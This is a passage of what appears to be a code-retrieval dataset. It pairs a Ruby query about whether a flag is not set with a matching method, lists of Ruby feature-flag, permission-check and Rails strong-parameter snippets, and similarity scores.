"def with_feature(feature)\n @@extensions.select do |plugin|\n # engine = \"#{plugin}::Engine\".constantize\n plugin.provides?(feature)\n end\n end",
"def generated_net_specflow_feature_file?\n name.downcase =~ /\\.feature\\.cs$/\n end",
"def uses?(mod); end",
"def patched?\n target.included_modules.include? self\n end",
"def estimable?\n story_type == 'feature' && !estimated?\n end",
"def check_features\n case params[:action]\n when \"index\"\n current_features.include?('shift_index') ? true : invalid_features\n when \"new\"\n current_features.include?('shift_new') ? true : invalid_features\n when \"edit\"\n current_features.include?('shift_edit') ? true : invalid_features\n when \"destroy\"\n current_features.include?('shift_delete') ? true : invalid_features\n end\n # return true\n end",
"def get_feature(current)\n fid = self.fields.delete('features.fid')\n if fid.blank?\n old_pid = self.fields.delete('features.old_pid')\n if old_pid.blank?\n puts \"Either a \\\"features.fid\\\" or a \\\"features.old_pid\\\" must be present in line #{current}!\"\n return false\n end\n\n feature = Feature.find_by_old_pid(old_pid)\n if feature.nil?\n puts \"Feature with old pid #{old_pid} was not found.\"\n return false\n end\n else\n feature = Feature.get_by_fid(fid)\n if feature.nil?\n puts \"Feature with THL ID #{fid} was not found.\"\n return false\n end\n end\n self.feature = Feature.find(feature.id)\n return true\n end",
"def special_flag(flag_id)\r\n features(FEATURE_SPECIAL_FLAG).any? {|ft| ft.data_id == flag_id }\r\n end",
"def get_feature(current)\n fid = self.fields.delete('features.fid')\n if fid.blank?\n old_pid = self.fields.delete('features.old_pid')\n if old_pid.blank?\n self.say \"Either a \\\"features.fid\\\" or a \\\"features.old_pid\\\" must be present in line #{current}!\"\n return false\n end\n\n feature = Feature.find_by(old_pid: old_pid)\n if feature.nil?\n self.say \"Feature with old pid #{old_pid} was not found.\"\n return false\n end\n else\n feature = Feature.get_by_fid(fid)\n if feature.nil?\n self.say \"Feature with THL ID #{fid} was not found.\"\n return false\n end\n end\n self.feature = Feature.find(feature.id)\n return true\n end",
"def feature_with_category?\n if @feature_with_category.nil?\n @feature_with_category = %w(category both).include?(featured)\n end\n @feature_with_category\n end",
"def special_flag(flag_id)\n features(FEATURE_SPECIAL_FLAG).any? {|ft| ft.data_id == flag_id }\n end",
"def fle?\n %w(1 true yes helper).include?(ENV['FLE']&.downcase)\n end",
"def flagged?(symbol)\n @flags.member?(symbol)\n end",
"def configured_feature_requires_component?(component)\n list_configured_features_from_component(component).length > 0\n end",
"def enabled?(feature)\n return false if feature.nil?\n ShopifyCli::Config.get_bool(SECTION, feature.to_s)\n end",
"def mod?\n @data['mod']\n end",
"def has_custom_attack?\n custom_attack_skill_features.any?\n end",
"def tooling?\n true\n end",
"def check_features\n case params[:action]\n when \"index\"\n current_features.include?('employee_leave_management_index') ? true : invalid_features\n when \"new\"\n current_features.include?('employee_leave_management_add') ? true : invalid_features\n when \"edit\"\n current_features.include?('employee_leave_management_edit') ? true : invalid_features\n when \"delete_multiple\"\n current_features.include?('employee_leave_management_delete') ? true : invalid_features\n when \"update_status\"\n current_features.include?('employee_leave_management_change_status') ? true : invalid_features\n end\n return true\n end",
"def plugin_module_defined?(plugin, submod)\n if RUBY_VERSION >= '1.9'\n plugin.const_defined?(submod, false)\n else\n # :nocov:\n plugin.const_defined?(submod)\n # :nocov:\n end\n end",
"def feature_inactive?(feature)\n redis.get(disabled_key(feature)) != \"1\"\n end",
"def flagged?\n @flagged\n end",
"def flagged?\n @flagged\n end",
"def has_feature?(*feature_names, match: :all?)\n features = get_var!(\"features\", single_match: :force)\n feature_names.map(&:to_s).send(match) do |feature_name|\n features.include? feature_name\n end\n end",
"def is_flagged?\n return self.flags.unresolved.count > 0\n end",
"def feature\n return @feature\n end",
"def has_classes_or_modules?\n has_classes? || has_modules?\n end",
"def webmod?\n @data['webMod']\n end",
"def extension_elidable?(feature)\n feature.to_s.end_with?(\".rb\", \".so\", \".o\", \".dll\", \".dylib\")\n end",
"def is_featured\n return @is_featured\n end",
"def is_featured\n return @is_featured\n end",
"def exploit?\n\t\treturn (type == MODULE_EXPLOIT)\n\tend",
"def find_command_enabled?\n $find_command_enabled ||= scanned_client_server!.features.find_command_enabled?\nend",
"def find_command_enabled?\n $find_command_enabled ||= scanned_client_server!.features.find_command_enabled?\nend",
"def flagged_by?(user)\n !!flags.find_by_user_id(user.id) if user\n end",
"def flag_configured?(flag_name)\n FeatureFlagOption.where(name: flag_name, feature_flaggable_type: self.class.name, feature_flaggable_id: id).exists?\n end",
"def custom_module?\n # custom module names are all lower_case, whereas SugarCRM modules are CamelCase\n @name.downcase == @name \n end",
"def custom_module?\n # custom module names are all lower_case, whereas SugarCRM modules are CamelCase\n @name.downcase == @name \n end",
"def require feature\n return false if loaded? feature # 1.8\n\n path = nil\n\n $LOAD_PATH.each do |obj|\n path = case obj\n when String then\n Dir[\"#{obj}/#{feature}{#{FancyRequire::SUFFIX_GLOB}}\"].find do |item|\n File.file? item\n end\n else\n obj.path_for feature\n end\n\n case path\n when true, false\n return path\n else\n break if path\n end\n end\n\n raise LoadError, \"no such file to load -- #{feature}\" unless path\n\n return false if loaded? path # 1.9\n\n load path\n\n if RUBY_VERSION > '1.9' then\n $LOADED_FEATURES << path\n else\n $LOADED_FEATURES << File.basename(path)\n end\n\n true\n end",
"def check_features\n case params[:action]\n when \"index\"\n current_features.include?('department_index') ? true : invalid_features\n when \"new\"\n current_features.include?('department_new') ? true : invalid_features\n when \"edit\"\n current_features.include?('department_edit') ? true : invalid_features\n when \"delete_multiple\"\n current_features.include?('department_delete') ? true : invalid_features\n end\n # return true\n end",
"def taumaturgic?\n has_feature?(:taumaturgic)\n end",
"def each_module_filter(opts, name, entry)\n\t\treturn false\n\tend",
"def started?\n @module_started\n end",
"def check_features\n case params[:action]\n when \"index\"\n current_features.include?('holiday_index') ? true : invalid_features\n when \"new\", \"create\"\n current_features.include?('holiday_new') ? true : invalid_features\n when \"edit\", \"update\"\n current_features.include?('holiday_edit') ? true : invalid_features\n when \"destroy\"\n current_features.include?('holiday_delete') ? true : invalid_features\n end\n # return true\n end"
] |
[
"0.7062146",
"0.7055016",
"0.7005162",
"0.6967362",
"0.6870849",
"0.6870849",
"0.67527944",
"0.6652036",
"0.65460396",
"0.6532536",
"0.6524228",
"0.6524228",
"0.64574194",
"0.64574194",
"0.64560455",
"0.6395618",
"0.635416",
"0.6352375",
"0.63476837",
"0.63088554",
"0.63008827",
"0.62974274",
"0.6266683",
"0.6232778",
"0.6216652",
"0.6201402",
"0.6192298",
"0.6175067",
"0.6174376",
"0.6140727",
"0.61369705",
"0.6129873",
"0.6124759",
"0.60869664",
"0.6053897",
"0.6045316",
"0.60434407",
"0.6025538",
"0.6024463",
"0.6017713",
"0.6017222",
"0.6017222",
"0.5999395",
"0.5995172",
"0.5943069",
"0.5943069",
"0.59326136",
"0.5864398",
"0.5852799",
"0.584352",
"0.58257544",
"0.5821835",
"0.5818231",
"0.5814127",
"0.5814127",
"0.57904524",
"0.57768965",
"0.57755727",
"0.576775",
"0.5757004",
"0.57498837",
"0.57284844",
"0.57189375",
"0.5711804",
"0.5707422",
"0.56715566",
"0.5668138",
"0.5662071",
"0.566009",
"0.5658265",
"0.5643312",
"0.5639936",
"0.56387997",
"0.56311536",
"0.5625835",
"0.5625447",
"0.5615568",
"0.56150967",
"0.56150967",
"0.5605223",
"0.5599856",
"0.55988926",
"0.5598522",
"0.5598499",
"0.55940455",
"0.5593019",
"0.5593019",
"0.55917853",
"0.5590352",
"0.5590352",
"0.5578274",
"0.557644",
"0.5572845",
"0.5572845",
"0.5572783",
"0.5572488",
"0.556541",
"0.5563323",
"0.556021",
"0.5555432"
] |
0.68847626
|
4
|
Returns if the flag is not set
|
def is_not_flagged?(feature)
!is_flagged?feature
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def not_found?\n @flags.empty?\n end",
"def unique_flag_negative?\n found_unique? ? @flags.first[2] : nil\n end",
"def value?\n return !self.flag?\n end",
"def flags?\n !@flags.empty?\n end",
"def empty?\n flags.empty?\n end",
"def is_gone?\n\n fexp.nil?\n end",
"def is_flagged?\n return self.flags.unresolved.count > 0\n end",
"def unset?\n status == :unset\n end",
"def missing?\n\t\treturn self.status == '!'\n\tend",
"def not_tracked?\n\t\treturn self.status == '?'\n\tend",
"def flag?\n return @type == 'x' || @type.nil?\n end",
"def flagged?\n @flagged\n end",
"def flagged?\n @flagged\n end",
"def flagged?\n !(%w(flagged) & flags).empty?\n end",
"def flagged?\n\t\t\t@flagged\n\t\tend",
"def flagged?\n !(%w(flagged) & flags).empty?\n end",
"def negation\n attr_val('./@inversionInd') == \"true\"\n end",
"def not\n\t\tself.test != true\n\tend",
"def missing?\n @missing\n end",
"def invariable?\n false\n end",
"def is_not_null?\n @flags & NOT_NULL_FLAG != 0\n end",
"def is_not_null?\n @flags & NOT_NULL_FLAG != 0\n end",
"def flag\n return @flag\n end",
"def has_invalid_flag?\n @flags.reject{ |f| f.state != BzFlag::INVALID }.any?\n end",
"def found_unique?\n @flags.size == 1\n end",
"def ignored?\n\t\treturn self.status == 'I'\n\tend",
"def enemy_flag_exists?\n !(enemy_flags.empty?)\n end",
"def noop?\n !!@options[:noop]\n end",
"def optional?\n not required\n end",
"def has_value?\n false\n end",
"def ignored?()\n #This is a stub, used for indexing\n end",
"def omittable?\n false\n end",
"def defined?\n false\n end",
"def absent?; end",
"def maybe?\n self.checkState == MAYBE\n end",
"def maybe?\n self.checkState == MAYBE\n end",
"def maybe?\n self.checkState == MAYBE\n end",
"def maybe?\n self.checkState == MAYBE\n end",
"def undefined?\n true\n end",
"def flagged?(flag)\n self.flags.include? flag\n end",
"def ignore?\n !!@ignore\n end",
"def optional?\n !@required\n end",
"def ignored?\n !!ignored\n end",
"def unchecked?\n state == :off\n end",
"def can_flag?\n !sent? && !flagged?\n end",
"def missing_switches?\n !@missing_switches.nil?\n end",
"def bogus?\n !! self.bogosity\n end",
"def flag; end",
"def needed_if_relevant?\n false\n end",
"def optional?\n\t\t!required?\n\tend",
"def dumb?\n false\n end",
"def game_unactive?\n !@game_active\n end",
"def conditionally_false\n\t\t!self\n\tend",
"def off?\n return true if eql? :off\n false\n end",
"def complain_about_bad_flags?\n @complain_about_bad_flags\n end",
"def complete_flags?\n @complete_flags\n end",
"def by_default?\n false\n end",
"def optional?\n @optional\n end",
"def ignored?\n @ignored\n end",
"def needed_if_relevant?\n false\n end",
"def unflag\n @flagged != @flagged = false\n end",
"def missing?; false; end",
"def undetermined?\n undetermined == 'true'\n end",
"def no? ; false ; end",
"def optional?\n !!options[:optional]\n end",
"def result?\n !@result.equal?(NOT_SET)\n end",
"def false!(msg=nil)\n true\n end",
"def flag_unencrypted?()\n return(true) if(@flags & TAC_PLUS_UNENCRYPTED_FLAG == TAC_PLUS_UNENCRYPTED_FLAG)\n return(false)\n end",
"def ignored?\r\n infoxml = get_info\r\n \r\n if ignored = infoxml['ignored']\r\n return ignored == '1'\r\n end\r\n \r\n return false\r\n end",
"def unknown?\n false\n end",
"def no_request?\n if self.submission\n return false\n else\n return true\n end\n end",
"def do_not_send?\n !self.do_not_send.blank?\n end",
"def has_arg?(flag)\n\t\tfp = @flag_pairs.get_value(flag)\n\t\treturn fp != nil && (@args_a.include?(flag) || @args_a.include?(fp))\n\tend",
"def getFlag\r\n\t\t\t\t\treturn @flag\r\n\t\t\t\tend",
"def unchecked?\n self.checkState == FALSE\n end",
"def unchecked?\n self.checkState == FALSE\n end",
"def unchecked?\n self.checkState == FALSE\n end",
"def unchecked?\n self.checkState == FALSE\n end",
"def ignored?\n marking == \"IGNORED\"\n end",
"def not_hidden?\n not hidden\n end",
"def false_value?(val)\n EnvHelpers::Utils.false_value?(val)\n end",
"def uncertain?\r\n @@maybes\r\n end",
"def attribute?\n false\n end",
"def false?\n value.nil? || value == false\n end",
"def optionality_implied?\n false\n end",
"def suppress?\n !!@suppress\n end",
"def active?\n !effective_flags.empty?\n end",
"def noop?\n local_attributes.empty?\n end",
"def flag_stop?()\n return(true) if(@flags & TAC_PLUS_ACCT_FLAG_STOP == TAC_PLUS_ACCT_FLAG_STOP)\n return(false)\n end",
"def undone?\n !done?\n end",
"def quiet?\n false\n end",
"def has_no_password?\n\t\t!self.has_password\n\tend",
"def to_bool() false end",
"def ignore?\n @should_ignore\n end",
"def flag\n @flagged != @flagged = true unless @revealed\n end",
"def missing?\n time.nil?\n end",
"def fresh_and_not_checked_in?\n !false ^ self.check_in_current\n # returns TRUE if it's CLEAN and hasn't been checked into\n end",
"def not_in_place?\r\n @position.nil?\r\n end",
"def none?\n level == 0\n end",
"def skip?\n false \n end"
] |
[
"0.7849023",
"0.72942424",
"0.7188332",
"0.7150519",
"0.70344764",
"0.6804566",
"0.66903037",
"0.6680496",
"0.66730887",
"0.6658002",
"0.6596251",
"0.6593762",
"0.6593762",
"0.6587383",
"0.6575987",
"0.655463",
"0.6554087",
"0.6536343",
"0.65151846",
"0.6480073",
"0.64710325",
"0.64710325",
"0.6441169",
"0.64379096",
"0.64328116",
"0.64227295",
"0.64097816",
"0.64090693",
"0.64059657",
"0.6365762",
"0.63649",
"0.6340501",
"0.6335082",
"0.63342166",
"0.6322074",
"0.6322074",
"0.6322074",
"0.6322074",
"0.6320279",
"0.6312841",
"0.6294022",
"0.6293633",
"0.6274079",
"0.62594646",
"0.62502855",
"0.62497157",
"0.6249062",
"0.6238152",
"0.62364566",
"0.62322617",
"0.6227919",
"0.62249136",
"0.62213",
"0.6216994",
"0.62155277",
"0.6206437",
"0.62000906",
"0.61997426",
"0.6197613",
"0.6194968",
"0.6194926",
"0.61940366",
"0.619073",
"0.6188113",
"0.61879665",
"0.61845684",
"0.6184252",
"0.6174496",
"0.61679256",
"0.616159",
"0.61523336",
"0.6146734",
"0.6145959",
"0.6135556",
"0.6133787",
"0.6133787",
"0.6133787",
"0.6133787",
"0.6131154",
"0.61203736",
"0.61185515",
"0.6113767",
"0.61115414",
"0.61064464",
"0.6092756",
"0.6080811",
"0.6079777",
"0.60773444",
"0.60726",
"0.60705173",
"0.60695875",
"0.6067726",
"0.60583425",
"0.60507154",
"0.6047476",
"0.6046597",
"0.6041367",
"0.604079",
"0.6038283",
"0.60312057"
] |
0.72540367
|
2
|
Use callbacks to share common setup or constraints between actions.
|
def set_unit
@unit = Unit.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Only allow a trusted parameter "white list" through.
|
def unit_params
params.fetch(:unit, {}).permit(:name)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def allowed_params\n ALLOWED_PARAMS\n end",
"def expected_permitted_parameter_names; end",
"def param_whitelist\n [:role, :title]\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def permitted_params\n []\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def filtered_parameters; end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def valid_params?; end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def filter_parameters; end",
"def filter_parameters; end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def check_params; true; end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def list_params\n params.permit(:name)\n end",
"def check_params\n true\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def additional_permitted_params\n []\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end",
"def allow_params_authentication!; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end",
"def quote_params\n params.permit!\n end",
"def list_params\n params.permit(:list_name)\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def all_params; end",
